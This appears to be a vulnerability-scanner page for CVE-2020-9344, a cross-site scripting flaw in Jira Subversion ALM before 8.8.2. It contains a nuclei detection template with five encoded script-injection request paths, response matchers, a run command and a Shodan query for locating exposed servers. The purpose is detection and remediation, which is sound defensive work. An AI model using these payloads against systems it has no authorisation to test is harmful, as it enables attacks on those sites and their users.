Jira Subversion ALM for Enterprise <8.8.2 - Cross-Site Scripting

mediumseverity

6.1CVSS score

5.2%likelihood of exploitation, next 30 days

93%of all CVEs are less likely

Readycheck to confirm it

Jira Subversion ALM for Enterprise before 8.8.2 contains a cross-site scripting vulnerability at multiple locations.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.

Fix

Upgrade Jira Subversion ALM for Enterprise to version 8.8.2 or later to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/plugins/servlet/svnwebclient/changedResource.jsp?url=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E ; GET {{BaseURL}}/plugins/servlet/svnwebclient/commitGraph.jsp?%27)%3Balert(%22XSS ; GET {{BaseURL}}/plugins/servlet/svnwebclient/commitGraph.jsp?url=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E ; GET {{BaseURL}}/plugins/servlet/svnwebclient/error.jsp?errormessage=%27%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E&description=test ; GET {{BaseURL}}/plugins/servlet/svnwebclient/statsItem.jsp?url=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E
Positive when: contains "<script>alert(document.domain)</script>" and "jira" and "subversion" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2020-9344 -u <target>

The full check

id: CVE-2020-9344

info:
  name: Jira Subversion ALM for Enterprise <8.8.2 - Cross-Site Scripting
  author: madrobot
  severity: medium
  description: Jira Subversion ALM for Enterprise before 8.8.2 contains a cross-site scripting vulnerability at multiple locations.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  remediation: |
    Upgrade Jira Subversion ALM for Enterprise to version 8.8.2 or later to mitigate this vulnerability.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9344
    - https://kintosoft.atlassian.net/wiki/spaces/SVNALM/pages/753565697/Security+Bulletin
    - https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2020-007.txt
    - https://nvd.nist.gov/vuln/detail/CVE-2020-13483
    - https://github.com/merlinepedra/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-9344
    cwe-id: CWE-79
    epss-score: 0.05198
    epss-percentile: 0.92546
    cpe: cpe:2.3:a:atlassian:subversion_application_lifecycle_management:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 5
    vendor: atlassian
    product: subversion_application_lifecycle_management
    shodan-query:
      - http.component:"Atlassian Jira"
      - http.component:"atlassian jira"
  tags: cve2020,cve,atlassian,jira,xss,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/plugins/servlet/svnwebclient/changedResource.jsp?url=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E'
      - '{{BaseURL}}/plugins/servlet/svnwebclient/commitGraph.jsp?%27)%3Balert(%22XSS'
      - '{{BaseURL}}/plugins/servlet/svnwebclient/commitGraph.jsp?url=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E'
      - '{{BaseURL}}/plugins/servlet/svnwebclient/error.jsp?errormessage=%27%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E&description=test'
      - '{{BaseURL}}/plugins/servlet/svnwebclient/statsItem.jsp?url=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "jira"
          - "subversion"
        condition: and
        case-insensitive: true

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from